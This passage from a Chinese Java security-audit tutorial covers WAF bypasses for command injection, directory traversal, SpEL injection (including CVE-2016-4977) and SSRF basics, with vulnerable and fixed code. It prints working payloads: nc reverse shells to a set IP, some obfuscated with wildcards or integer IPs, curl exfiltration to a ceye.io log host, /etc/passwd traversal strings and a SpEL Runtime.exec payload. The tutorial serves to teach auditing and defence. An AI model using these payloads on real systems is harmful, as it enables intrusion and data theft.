1
2
$ more ts2   //查看文件ts2
cat
paste
$ cat ts1 ts2  //按行合并
1
2
cat
paste
$ paste ts1 ts2 //按列合并
1 cat
2 paste

(3)使用通配符

a、低阶用法

屏蔽了php:127.0.0.1 | c'a't ../haha.ph* 127.0.0.1 | c'a't ../haha.ph?

屏蔽了命令和路径等:/bin/cat /etc/passwd 变成 /???/c?t /??c/p???w? ,有时候WAF不允许使用太多的?号就/?in/c?t /?tc/p?sswd

/???/[l-n]s     可替代ls
/???/c?t flag   可替代cat flag
ls *.php        列出当前目录下所有php文件

b、进阶用法(无字母数字匹配)

如果我们遇到一个正则将 字母数字$ 这些都过滤掉,要我们执行一个脚本的话,假如脚本名称为chakdiD且在根目录/etc下,我们可以用:

. /???/??????[@-[]
[@-[]表示取从@到[之间的字符,这之间的字符都为大写字母。这样就实现了无字母数字匹配的命令,就可以绕过正则了。

几个例子:

/???/[:lower:]s
/?s?/???/[n]c 2130706433 8888 -e /???/b??h
ls {/ru,/tmp}n

(4)变量拼接

kali@kali: a=c;b=at;c=fl;d=ag;$a$b $c$d
you are good!

(5)编码绕过

a、进制编码

一共有三种转义字符:一般转义字符、八进制转义字符和十六进制转义字符。

① 一般转义字符

这种转义字符,虽然在形式上由两个字符组成,但只代表一个字符。常用的一般转义字符为:

\a \n
\t \v
\b \r
\f \\
\’ \"

细心的读者可能已经发现,转义字符'\\'代表的反斜杠"\"、转义字符’\’’代表的字符"'"和转义字符'\"'代表的字符""",其本身就是可显示字符,为什么还要对它转义呢?

这是因为它们的原有的字符形式已作它用,其中,单引号用作区分字符常量的括号,双引号用作区分字符串(下面将要介绍字符串)的括号,而反斜杠本身已用来表示转义字符的开头,因此必须对它们用转义字符重新声明。

② 八进制转义字符

它是由反斜杠'\'和随后的1~3个八进制数字构成的字符序列。例如,'\60'、'\101'、'\141'分别表示字符'0'、'A'和'a'。因为字符'0'、'A'和'a'的ASCII码的八进制值分别为60、101和141。

字符集中的所有字符都可以用八进制转义字符表示。

如果你愿意,可以在八进制数字前面加上一个0来表示八进制转移字符。

③ 十六进制转义字符

它是由反斜杠'\'和字母x(或X)及随后的1~2个十六进制数字构成的字符序列。例如,'\x30'、'\x41'、'\X61'分别表示字符'0'、'A'和'a'。因为字符'0'、'A'和'a'的ASCII码的十六进制值分别为0x30、0x41和0x61。

可见,字符集中的所有字符都可以用十六进制转义字符表示。

由上可知,使用八进制转义字符和十六进制转义字符,不仅可以表示控制字符,而且也可以表示可显示字符。但由于不同的计算机系统上采用的字符集可能不同,因此,为了能使所编写的程序可以方便地移植到其他的计算机系统上运行,程序中应少用这种形式的转义字符。

对应于ACSII码,\是八进制转义字符,\x为十六进制转义字符:

$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag

例子:

kali@kali: $(printf "\154\163")
firefox-esr.desktop  flag

Java代码审计详解_第43张图片

b、Base64编码

kali@kali: `echo 'Y2F0Cg==' | base64 -d` flag
you are good!

(6)空格过滤

a、${IFS}

在shell中,有一个好用的环境变量$IFS,IFS表示 Internal Field Separator (内部字段分隔符),默认是空格符

bash下的很多命令都会分割单词,绝大多数时候默认是采用空格作为分隔符,有些时候遇到制表符、换行符也会进行分隔。最典型的是"for i in a b c",它会分割变量列表"a b c"使其成为三个变量。这种分隔符是由IFS变量指定的

默认的IFS在碰到空格、制表符\t和分行符\n就会自动分隔进入下一步。但是对空格处理有点不一样,对行首和行尾两边的空格不处理,并且多个连续的空格默认当作一个空格:

cat${IFS}/etc/passwd

b、$IFS$9

$9指传过来的第9个参数:

kali@kali: cat$IFS$9flag
you are good!
kali@kali: cat$IFS$1flag
you are good!

c、%20、%09(tab)(需要PHP环境,不演示)

d、<或者<>重定向

kali@kali: catflag
you are good!

(7)nc反弹shell

nc -e /bin/bash 192.168.0.104 3456

Java代码审计详解_第44张图片

为了避免符号,可以将IP地址转换成整型:

nc -e /bin/bash 3232235624 3456 

Java代码审计详解_第45张图片

使用通配符: 

/??n/?c -e /??n/b??h 3232235624 3456

(8)使用未初始化的bash变量

在bash环境中允许我们使用未初始化的bash变量,比如 $a,$b,$c 我们事先并没有定义它们,输出看看:

root@kali:~# echo $a
root@kali:~# echo $b
root@kali:~# echo $c
root@kali:~#

未初始化的变量值都是Null

读取/etc/passwd: 

cat$a /etc$a/passwd$a

测试WAF:

which指令会在环境变量$PATH设置的目录里查找符合条件的文件 ,先找出nc文件路径:

www.baidu.com;$s/bin$s/which$s nc$s

Java代码审计详解_第46张图片

 知道nc在哪里了,反弹shell:

www.baidu.com;/bin$s/nc$s -e/bin$s/bash$s 3232235624 3456

-e后面有没有空格都可以:

Java代码审计详解_第47张图片

2)有的文件无法执行

先赋予执行权限再运行:

chm'o'd 777 ./key.php
chm\o\d 777 ./key.php

3)直接读取文件

127.0.0.1;curl file:///etc/passwd

4)利用dnslog或者http web log

ls | curl xxx.ceye.io/whoami``

5)绕过长度限制

(1)>和>>

使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建文件再存入

>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容

(2)命令换行

换行执行命令:

kali@kali:~/桌面$ ca\
> t\
>  fl\
> ag
you are good!

Java代码审计详解_第48张图片

可以尝试写一个文件来执行命令:

kali@kali: echo "ca\\">shell
kali@kali: echo "t\\">>shell
kali@kali: echo " fl\\">>shell
kali@kali: echo "ag">>shell
kali@kali: cat shell
ca\
t\
 fl\
ag
kali@kali: sh shell
you are good!

6)内敛执行绕过

命令和$(命令)都是执行命令的方式。

例子:

kali@kali: echo "m0re`cat flag`"
m0reyou are good!
kali@kali: echo "m0re $(cat flag)"
m0re you are good!
kali@kali: echo "m0re $(pwd)"
m0re /root

Java代码审计详解_第49张图片

四、目录穿越

1、目录遍历漏洞简介

目录遍历漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件、配置文件等,攻击者利用该信息可以为进一步入侵网站做准备。目录遍历是针对windows和Apache的一种常见攻击方法,它能让攻击者访问受限制的目录,通过执行cmd.exe /c命令来提取目录信息,或在Web服务器的根目录以外执行命令。

目录遍历漏洞的探测:可以利用web漏洞扫描器扫描web应用进行检测,也可以通过搜索,网站标题包含“index of”关键词的网站进行访问。

目录遍历漏洞的危害:攻击者通过访问网站某一目录时,该目录没有默认首页文件或没有正确设置默认首页文件,将会把整个目录结构列出来,将网站结构完全暴露给攻击者;攻击者可能通过浏览目录结构,访问到某些隐秘文件(如PHPINFO文件、服务器探针文件、网站管理员后台访问地址、数据库连接文件等)。

2、目录遍历漏洞原理

许多的Web应用程序一般会有对服务器的文件读取查看的功能,大多会用到提交的参数来指明文件名

形如:

http://www.nuanyue.com/getfile=image.jgp

当服务器处理传送过来的image.jpg文件名后,Web应用程序即会自动添加完整路径,形如“d://site/images/image.jpg”,将读取的内容返回给访问者。

初看,在只是文件交互的一种简单的过程,但是由于文件名可以任意更改而服务器支持“~/”,“../”等特殊符号的目录回溯,从而使攻击者越权访问或者覆盖敏感数据,如网站的配置文件、系统的核心文件,这样的缺陷被命名为路径遍历漏洞。在检查一些常规的Web应用程序时,也常常有发现,只是相对隐蔽而已。

3、几种目录遍历攻击手段

首先要特别明确的一个点是,目录遍历的攻击基于操作系统,例如 Linux 操作系统下,cd ..命令是返回上一级目录。

  • ../这个命令,贯穿了整个目录遍历攻击,也是目录遍历攻击的核心。

如果对方服务器是 Linux,攻击手段就是通过../,这一个../将贯穿整个目录遍历攻击。

路径遍历漏洞的发现,主要是对Web应用程序的文件读取交互的功能块,进行检测,面对这样的读取方式:

“http://www.nuanyue.com/test/downfile.jsp?filename=fan.pdf”

我们可以使用 “../”来作试探,比如提交Url:“getfile=/fan/fan/*53.pdf”,而系统在解析的是“d://site/test/pdf/fan/fan/../../*53.pdf"。

通过“../”跳转目录“/fan”,即“d://site/test/pdf/*53.pdf”,返回了读取文件的正常的页面。

路径遍历漏洞隐藏一般在文件读取或者展示图片功能块这样的通过参数提交上来的文件名,从这可以看出来过滤交互数据是完全有必要的。恶意攻击者当然后会利用对文件的读取权限进行跨越目录访问,比如访问一些受控制的文件,“../../../../../../../etc/passwd“或者”../../../../boot.ini“,当然现在部分网站都有类似Waf的防护设备,只要在数据中会有/etc /boot.ini等文件名出直接进行拦截。

1)加密参数传递的数据

在WEB应用程序对文件名进行加密之后再提交,比如:“downfile.jsp?filename=ZmfugsbS”,在参数filename用的是Base64加密,而攻击者要想绕过,只需简单的将名加密后再附加提交即可!所以说,采用一些有规律或者轻量能识别的加密方式,也是存在风险的。

2)编码绕过

尝试使用不同的编码转换进行过滤性的绕过,比如url编码,通过参参数进行url编码提交,"downfile.jsp?filename=%66%61%6E%2E%70%64%66"来绕过。

URL编码绕过需要编码两次,第一次是浏览器传到后端自动解码,第二次是后端使用函数进行解码。

3)目录限定绕过

在有些Web应用程序是通过限定目录权限来分离的。当然这样的方法不值得可取的,攻击者可以通过某些特殊的符号“~”来绕过。例如这样提交“downfile.jps?filename=~/../boot”。能过这样一个符号,就可以直接跳转到硬盘目录下了。

4)绕过文件后缀过滤

一些web应用程序在读取前,会对提交的文件后缀进行检测,攻击者可以在文件名后放一个空字节编码来绕过这样的文件类型的检查。

例如:../../.../../boot.ini%00.jpg,web应用程序使用的Api会允许字符串中包含空字符,当实际获取文件名时,刚由系统的Api会直接截断,而解析为"../../../../boot.ini"

在类似Uninx的系统中也可以使用url编码的换行符,例如:../../../etc/passwd%0a.jpg,如果文件系统在获取含有换行符的文件名,会截短为文件名。也可以尝试%20,例如:../../../index.jsp%20

5)绕过来路验证

HTTP Referer:HTTP Referer是header的一部份,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接来的。

如果应用程序要求用户提供的文件名必须以预期的基本文件夹开头,例如/var/www/images,则可能包含所需的基本文件夹,后跟合适的遍历序列。例如:

filename=/var/www/images/../../../etc/passwd

还有一种目录遍历,那就是因为这个web服务器的配置不当造成的:

Index of/

我们可以直接利谷歌黑客语法来寻找此形式的目录遍历漏洞:

intitle:Index of

 例如:

1、IIS“目录浏览”前打勾,就是允许目录列表显示。

Java代码审计详解_第50张图片

2、Apache配置文件httpd.con中Options 为Indexes就是允许目录列表显示。 

Java代码审计详解_第51张图片

注意:虽然说此 Options 值为 Indexes,但是你去访问的时候依然不会目录列表展示,会提示403禁止访问,这也是phpstudy为了安全吧!所以说有时候,并不代表你这样设置就可以以目录列表的方式去显示了。

Apache设置Opions选项具体中以参考:

http://httpd.apache.org/docs/2.2/mod/core.html#options

4、目录遍历漏洞案例

1)在文件上传中利用目录遍历漏洞

靶场地址:WebGoat 靶场,目录遍历下的 PageLesson2

  • 题目中简单描述了通过文件上传利用目录遍历漏洞
  • 题目的要求,让我们讲图片上传至非本目录下。

  • 本来要上传的目录是:/PathTraversal/user/tests 下,我们能够通过目录遍历的方式,将要上传的图片上传至其他目录。

已经 OS 为 Linux,所以使用../来完成目录遍历攻击,

利用 Burpsuite 抓包,将 “test” 修改为 “…/test”,也就是 /test 目录的上一级目录。

Java代码审计详解_第52张图片

修改成功,将头像上传至 /PathTraversal/user 目录下了。 

2)对网站上存在的资源点进行目录遍历攻击

  • 网站上存在的资源点:比如图片这种资源,在请求图片的同时尝试目录遍历。

例如,图片资源所在的目录:

127.0.0.1/home/image

而在 127.0.0.1/home 下存在一个名为password.txt的文件,image 通过 GET 请求获取参数,那么获取图片的 url 就是。

127.0.0.1/home/image?filename=1.jpg

当然,/home 根目录当然不会流出来。此时如果我们将 filename 的请求变成../1.jpg,请求就变成了:

127.0.0.1/home/image?filename=../1.jpg

直接就访问到了 /home 这一目录下,所以此时,若我们把请求再构造一下,就不是那么简单的事情了,filename=../password.txt,请求就变成了:

127.0.0.1/home/image?filename=../password.txt

接下来我们通过一道靶场再深化一下对已有资源点进行目录遍历的攻击方式

靶场地址:已有资源点的目录遍历

  • 靶场要求我们搞到 /etc/passwd 这一文件

抓包,并点开图片,获取到图片的 GET 请求。并直接开始我们的目录遍历攻击。

Java代码审计详解_第53张图片

目录遍历攻击成功,返回的是 400,说明服务器后台并未对目录遍历攻击作任何限制,但是并没有请求到资源,再往上一层试试。也就是../../。也失败了,不要着急,继续尝试。

终于在第三层的时候成功了!不容易啊……

Java代码审计详解_第54张图片

5、目录遍历Java代码审计

目录遍历漏洞代码/PathTraversal

第一个访问url为:

windows: c:\boot.ini  (系统版本)

linux:

http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd

读相对路径下的代码文件及配置文件:

http://localhost:8080/path_traversal/vul?filepath=../password.tx t

这里的路由对应的方法是getImage(),看名字是用作图片读取转base64输出的。但是这里没有对输入进行过滤检查,只是简单判断文件存在且不是文件夹,就对其进行读取输出。

imgFile里面存放的都是图片:

@GetMapping("/path_traversal/vul")
public String getImage(String filepath) throws IOException {    
    return getImgBase64(filepath);
}
private String getImgBase64(String imgFile) throws IOException {
    logger.info("Working directory: " + System.getProperty("user.dir"));
    logger.info("File path: " + imgFile);
    File f = new File(imgFile);
    if (f.exists() && !f.isDirectory()) {
    byte[] data = Files.readAllBytes(Paths.get(imgFile));
    return new 
    String(Base64.encodeBase64(data));
    } else {
    return "File doesn't exist or is not a file.";
    }
}

目录遍历修复方法:

path_traversal/sec

对应的修复后的方法如下,调用了SecurityUtil.pathFilter对用户的输入进行检查。

@GetMapping("/path_traversal/sec")
public String getImageSec(String filepath) throws IOException {
    if (SecurityUtil.pathFilter(filepath) == null) {
    logger.info("Illegal file path: " + filepath);
    return "Bad boy. Illegal file path.";     
    }
    return getImgBase64(filepath);
}

这里对目录穿越的..进行了过滤,避免了目录穿越。只不过这里一个用作图片读取的api也可以读取项目任意文件倒也可以说是算一个小漏洞。

public static String pathFilter(String filepath) {
    String temp = filepath;
    // use while to sovle multi urlencode     while (temp.indexOf('%') != -1) {
    try {
    temp = URLDecoder.decode(temp, "utf-8");
       } catch (UnsupportedEncodingException e) {
        logger.info("Unsupported encoding exception: " + filepath);
        return null;
    } catch (Exception e) {
        logger.info(e.toString()); return null;
        }
    }
    if (temp.contains("..") || temp.charAt(0) == '/') {
        return null;
        }
    return filepath;
}

6、防范遍历路径漏洞

 在防范遍历路径漏洞的方法中,最有效的是权限的控制,谨慎的处理向文件系统API传递过来的参数路径。主要是因为大多数的目录或者文件权限均没有得到合理的配置,而Web应用程序对文件的读取大多依赖于系统本身的API,在参数传递的过程,如果没有得严谨的控制,则会出现越权现象的出现。在这种情况下,Web应用程序可以采取以下防御方法,最好是组合使用。

(1) 限制用户输入的路径在某一个范围内。

(2) 数据净化,对网站用户提交过来的文件名进行硬编码或者统一url编码,到了服务器手上不会解析成../。

(3) 对文件后缀进行白名单控制,也就是限制用户请求资源,对包含了恶意的符号或者空字节进行拒绝。对于少量的文件(例如都是图像),写正则表达式批量规范请求资源的白名单,这样可以做到完美防御目录遍历漏洞

(4) Web应用程序可以使用chrooted环境访问包含被访问文件的目录,或者使用绝对路径+参数来控制访问目录,使其即使是越权或者跨越目录也是在指定的目录下。

五、SpEL表达式漏洞

1、SpEL简介

Spring Expression Language(简称  SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified  EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与 Spring  生态系统所有产品无缝对接,能提供一站式支持的表达式语言。 

Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。

spEL表达式有很多特效:

  1. 使用Bean的ID来引用Bean;
  2. 可调用方法和访问对象属性
  3. 可对值进行算数、关系和逻辑运算;
  4. 可使用正则表达式进行匹配;
  5. 可进行集合操作;

2、SpEL原理

在 pom.xml 导入 maven 或是把"org.springframework.expression-3.0.5.RELEASE.jar"添加到类路径中:


 5.0.8.RELEASE


    org.springframework
    spring-expression 
    ${org.springframework.version}
     

SpEL 使用方式:

SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。

 ExpressionParser parser = new SpelExpressionParser();
 Expression expression = parser.parseExpression(" ('Hello' + ' lisa').concat(#end)");
 EvaluationContext context = new StandardEvaluationContext();
 context.setVariable("end", "!");
 System.out.println(expression.getValue(context));

1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现。

2. 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象。

3. 构造上下文:准备比如变量定义等等表达式需要的上下文数据。

4. 值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值。

Expression 接口:表示表达式对象,默认实现是 
org.springframework.expression.spel.standard 包中的 SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值。

EvaluationContext 接口:表示上下文环境,默认实现是 
org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等。

spel表达式有三种用法:

1. 注解

//@Value能修饰成员变量和方法形参
//#{}内就是SPEL表达式的语法
//Spring会根据SPEL表达式语法,为变量arg赋值
@Value("#{表达式}")
public String arg;
//将"hello"字符串赋值给word变量
@Value("hello")
private String word; 
//从网址"http://www.baidu.com"获取资源
@Value("http://www.baidu.com")
private Resource url; 

这种一般是写死在代码中的,不是关注的重点。 

2. xml


    

这种情况通常也是写死在代码中的,但是也有已知的利用场景,就是利用反序列化让程序加载我们实现构造好的恶意xml文件,如jackson的CVE-2017-17485、weblogic的CVE-2019-2725等。

3. 在代码中处理外部传入的表达式

这部分是关注的重点。

@RequestMapping("/spel")
public String spel(@RequestParam(name = "spel") String spel) {
    ExpressionParser expressionParser = new SpelExpressionParser();
    Expression expression = 
expressionParser.parseExpression(spel);//将spel路径set进去
    Object object = expression.getValue();//获取到spel执行后的内容
    return object.toString();
}

 执行一段简单的SPEL表达式“3*3”:

   public static void main(String[] args) {
     //实例化表达式解析对象
        ExpressionParser parser = new SPELExpressionParser();
     //调用该对象的parseExpression方法来执行表达式
        Expression expres = parser.parseExpression("3*3");
     //获取表达式的执行结果,想要返回的结果类型可以以这种Type.class的形式传入
        String message = expres.getValue(String.class);
        System.out.println(message);
    }

SPEL表达式还能执行一些更复杂的命令,例如对一个对象进行操作,代码如下所示,首先是一个pojo类:

public class User {
    public String userName;
    public User() {
    }
    public User(String userName) {
        this.userName = userName;
    }
    public String getUserName() {
        return userName;
    }
    public void setUserName(String userName) {
        this.userName = userName;
    }
    public String sayHi(String name){
        return name+" say: Hi";
    }
      public static String sayBye(String userName){
        return userName+"say: Bye";
    }
}

然后是通过SPEL表达式操作user对象的属性:

User user = new User();
//实例化表达式解析对象
ExpressionParser parser = new SPELExpressionParser();
//实例化上下文,将user对象作为参数传入,这样就可以操作user对象的属性了
StandardEvaluationContext context = new StandardEvaluationContext(user);
/**
如果不想在实例化上下文的时候就传入对象的话就可以使用下面的代码进行等价替换

StandardEvaluationContext context = new StandardEvaluationContext();
context.setRootObject(user);

之所以可以这么替换是因为StandardEvaluationContext在构造方法中还是通过调用了setRootObject方法
通过setRootObject方法传入的参数会被放入StandardEvaluationContext.rootObject属性中

*/

//向上下文中添加元素
context.setVariable("newUserName","Jone");
//这里的userName就是user.userName属性,#newUserName就是上一步中添加的,newUserName为key,而value为Jone,所以这一步是将newUserName的值赋值给user.userName属性
parser.parseExpression("userName=#newUserName").getValue(context);
System.out.println(user.getUserName());

//这一步是通过SPEL表达式直接给user.userName属性赋值
parser.parseExpression("userName='Tom'").getValue(context);
System.out.println(user.getUserName());

//通过setVariable传入上下文中的参数会被放入StandardEvaluationContext.variables属性中,该属性为HashMap类型,传入的字符串“user”,就是他的key值,value就是user这个对象
context.setVariable("user",user);

//通过setVariable方法存放入上下文中的对象,就可以通过 #+key+属性的方式进行调用
String name = (String)parser.parseExpression("#user.userName").getValue(context);
//通过setVariable方法传入的对象和通过setRootObject方法传入的对象是不一样的,通过setRootObject传入的对象可以直接通过“属性名称”来进行调用,而通过setVariable方法传入的对象,只能通过“#+key+属性的方式进行调用”

可以操作对象的属性SPEL同样也可以操作对象的方法,例如我们的pojo类User中就有一个成员方法sayHi,和一个静态方法sayBye,我们使用SPEL表达式来分别调用一下。

首先是调用成员方法,也就是动态方法:

User user = new User();
ExpressionParser parser = new SPELExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext(user);
context.setVariable("user",user);
//如下可以使用 #+Key+MethodName的形式进行调用
//这种方法不仅可以调用动态方法,也可以调用静态方法
String result = (String) parser.parseExpression("#user.sayHi('jack')").getValue(context);
System.out.println(result);

运行结果如下:

Java代码审计详解_第55张图片

然后是调用静态方法,代码如下所示:

ExpressionParser parser = new SPELExpressionParser();
//使用“T(Type)”来表示java.lang.Class类的实例,即如同java代码中直接写类名。此方法一般用来引用常量或静态方法
String result = parser.parseExpression("T(com.SPEL.pojo.User).sayBye('Jack')").getValue(String.class);

System.out.println(result);

除了以上两种方可以调用静态方法以外还有一种方法: 

ExpressionParser parser = new SPELExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
//通过反射拿到User类的sayBye方法对象,
Method sayBye = User.class.getMethod("sayBye", String.class);
//将sayBye方法对象注册进上下文中
context.registerFunction("sayBye",sayBye);
//然后就可以通过#+MehtondName的形式进行调用
String result = (String) parser.parseExpression("#sayBye('jack')").getValue(context);
        System.out.println(result);

漏洞可以利用的前置条件有三个:

1. 传入的表达式未过滤
2. 表达式解析之后调用了getValue/setValue方法
3. 使用StandardEvaluationContext(默认)作为上下文对象

3、SpEL语法

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:

#{car}

引用其他对象的属性:

#{car.brand}

调用其它方法 , 还可以链式操作:

 #{car.toString()}

其中属性名称引用还可以用$符号 如:

${someProperty}

除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。

类类型表达式:使用"T(Type)"来表示 java.lang.Class 实例,"Type"必须是类全限定名,"java.lang"包除外,即该包下的类可以不指定包名;使用类类型表达式还可以进行访问类静态方法及类静态字段。

例如,在SpEL中使用Java的 Math类,我们可以像下面的示例这样使用 T()运算符:

#{T(java.lang.Math)}

T()运算符的结果会返回一个 java.lang.Math类对象。

4、CVE-2016-4977 漏洞分析

根据网上爆出得漏洞相关信息,POC如下所示:

http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

目前我们对漏洞的详细情况一无所知,首先我们根据请求路径的映射,找到后来用来接收该请求的方法,经过一番搜索我门找到了“/oauth/authorize”这个路径映射的是AuthorizationEndpoint.authorize方法:

Java代码审计详解_第56张图片

我们在该方法中打上断点,然后发送poc即可看到程序执行到断点处,这里有一个需要注意的值,就是errorPage这个属性的值,其值为“forward:/oauth/error”,这个值后续会使用到。

Java代码审计详解_第57张图片

程序往下执行,来到一个if判断,这里判断的值就是我们poc中传递的response_type值,这里主要判断response_type的值是不是“token”或者“code”,很明显不是,这里传递的response_type的值是“${3*10}”,所以会抛出一个“Unsupported response types”,也就是“不支持的返回类型错误”。 

Java代码审计详解_第58张图片

然后就是一系列的异常操作,没什么特别值得讲的,接下来我们的断点下在DispatherServlet.processDispatchResult方法里,由于之前在AuthorizationEndpoint.authorize方法中执行出现了异常,所以Spring Security会返回一个认证错误的执行页面,而跳转的方式和地址就是我们刚才看到的errorPage这个属性的值,也就是“forward:/oauth/error”,这里指定了跳转方式,和跳转的路径,跳转方式为“forward”,也就是服务器内部跳转,而跳转的路径就是“/oauth/error”,后续的执行就是Spring Security在内部。最终发起转发的位置在哪呢?

在InternalResourceView.renderMergedOutputModel方法中:

Java代码审计详解_第59张图片

可以看到真正出发服务器内部转发的代码是最后一行的rd.forward(request, response);,rd变量是一个ApplicationDispatcher对象,ApplicationDispatcher.forward方法的作用就是处理服务器内部的请求转发,而需要请求的路径"/oauth/error" 在执行getRequestDispatcher方法中传入了进去 并最终返回一个ApplicationDispatcher对象,然后调用了ApplicationDispatcher.forward方法进行服务器内部请求转发,这个转发的过程就不做过多赘述了,不是我们研究的重点。

现在我们已知转发的路径为"/oauth/error",那我们就去搜索这个路径,经过搜索找到的该路径对应的方法,为WhitelabelErrorEndpoint.handleError方法。

Java代码审计详解_第60张图片

这里我们需要留意的就是这个error变量,可以看到就是之前在AuthorizationEndpoint.authorize方法中抛出的Unsupportedresponsetypes异常,其中有一个detailMessage属性,其中封装的是一段字符串,而该段字符串中的${3*10}就是SPEL表达式,也是我们在poc中传递的response_type的值,而ERROR中的${error.summary}同样也是SPEL表达式,而ERROR属性则被传入了SPELVIew的构造方法中,进而生成了一个SPELView对象,该类从类型来分析很明显是用于处理SPEL表达式的,我们跟进该类。

SPELVIew在构造方法中实例化了一个匿名内部类对象并赋值给了resolver属性,这个对象就是SPEL代码执行的核心.为什么说这个PlaceholderResolver.resolvePlaceholder方法是核心关键就在于用红圈圈里来的这段代码。即Expression expression = parser.parseExpression(name); 这段代码的作用就是解析和执行SPEL表达式,至于parser属性是什么类型也可以截图看一下,从截图中看到是SPELExpressionParser类型。

Java代码审计详解_第61张图片

在该处下断点,看下执行结果:

Java代码审计详解_第62张图片

这里看到parser属性是SPELExpressionParser类型,结合之前的SPEL使用介绍,可知这里就是要解析SPEL表达式了,而传入的name变量就是要解析的SPEL表达式,这个SPEL表达式就是“error.summary”,那么这个error是什么呢?在WhitelabelErrorEndpoint.handleError方法中,可以看到error就是封装进去的UnSupportedResponseTypesExpection对象,而UnSupportedResponseTypesExpection的父类OAuth2Exception有一个名为getSummary的方法,而在之前的截图中看到在SPELView.render方法中,调用了StandardEvaluationContext.setRootObject,传入的参数是一个Hashmap对象, 当map对象像以setRootObject方法传入SPEL上下文中的时候,就可以以key.valueProperty/valueMethod的形式进行反射调用,也就是反射调用属性或者调用对应的getter方法,注意这里能通过反射调用的方法只有getter方法,测试代码如下所示:

public class ErrorImpl {

    public String summary = "hello world1";

    public String getSummary() {
        return "hello world";
    }

//    public String setSummary() {
        this.summary = summary;
//        return "hello world3";
//    }

    public String sayHello(){
        return "say world";
    }
}
public class SPELTest2 {

    public static void main(String[] args) {
        ExpressionParser parser = new SPELExpressionParser();
        StandardEvaluationContext context = new StandardEvaluationContext();
        ErrorImpl error = new ErrorImpl();
        Map model = new HashMap();
        model.put("error", error);
        context.setRootObject(model);
        context.addPropertyAccessor(new MapAccessor());
        Expression expression = parser.parseExpression("error.summary");
        Object value = expression.getValue(context);
        System.out.println(value.toString());
    }
}

所以解析“error.summary”这个SPEL表达式最终就会调用到OAuth2Exception.getSummary方法,最终得到的值如下所示:

Java代码审计详解_第63张图片

最终的到的value是一串字符串,而在这段字符串中,属于SPEL表达式的是“${3*10}”,如此以来就到达了代码执行的位置,执行结果如下图所示: 

Java代码审计详解_第64张图片

最终执行的结果会返回至前端页面,至此spring-security-oauth2 SPEL表达式注入漏洞分析完毕。

其实经过以上分析,大家不难发现,可以执行代码和对类进行操作是SPEL表达式模块所提供的正常功能,但是问题出在哪呢?就出在了Spring-oauth2这个模块对response_type这个参数校验的不严格,在后续的操作中,仅仅只是将外部的“$"符号和“{}”进行了删除,除此以外就没有进行任何有效的过滤了,所以,表达式注入漏洞就产生了。 

5、SpEL代码审计

关键词:

SpelExpressionParser、StandardEvaluationContext、#{

审计方法:

可以先全局搜索 org.springframework.expression.spel.standard, 或是  expression.getValue()、expression.setValue(),定位到具体漏洞代码,再分析传入的参数能不能利用,最后再追踪参数来源,看看是否可控。

案例:

http://localhost:8080/spel/vuln?expression=T(java.lang.Runtim e).getRuntime().exec('calc')
/**
*	SpEL to RCE
*	http://localhost:8080/spel/vul/?expression=xxx.
*	xxx is urlencode(exp)
*	exp:T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
*/
@GetMapping("/spel/vuln")
public String rce(String expression) {
    ExpressionParser parser = new SpelExpressionParser();
    // fix method: SimpleEvaluationContext
    return parser.parseExpression(expression).getValue().toString();
}

修复建议:SimpleEvaluationContext、StandardEvaluationContext 是SpEL提供的两个 EvaluationContext。

SimpleEvaluationContext - 针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 Spal 语言特性和配置选项的子集。

StandardEvaluationContext - 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean  引用。

所以最直接的修复方式是使用 SimpleEvaluationContext 替换 StandardEvaluationContext。

修复代码:

@GetMapping("/spel/sec")
public String spel_sec(String expression) {
    ExpressionParser parser = new SpelExpressionParser();
    //只读属性
    EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
    return parser.parseExpression(expression).getValue(context).toString();
}

六、SSRF(服务器端请求伪造)漏洞

1、SSRF简介

成功的网络攻击最重要的因素之一是足够的访问权限。在安全得到充分考虑的应用程序中,外部用户通常没有足够的访问权限来造成伤害。在这种情况下,攻击者可以尝试不同的方法。与其尝试获得足够的访问并尝试获得足够的权限,他们可以尝试操作已经拥有足够访问和授权的应用程序实体(如服务器)。

服务器端请求伪造(SSRF)就是这样一种攻击,攻击者欺骗服务器发出意外请求。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统 。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。

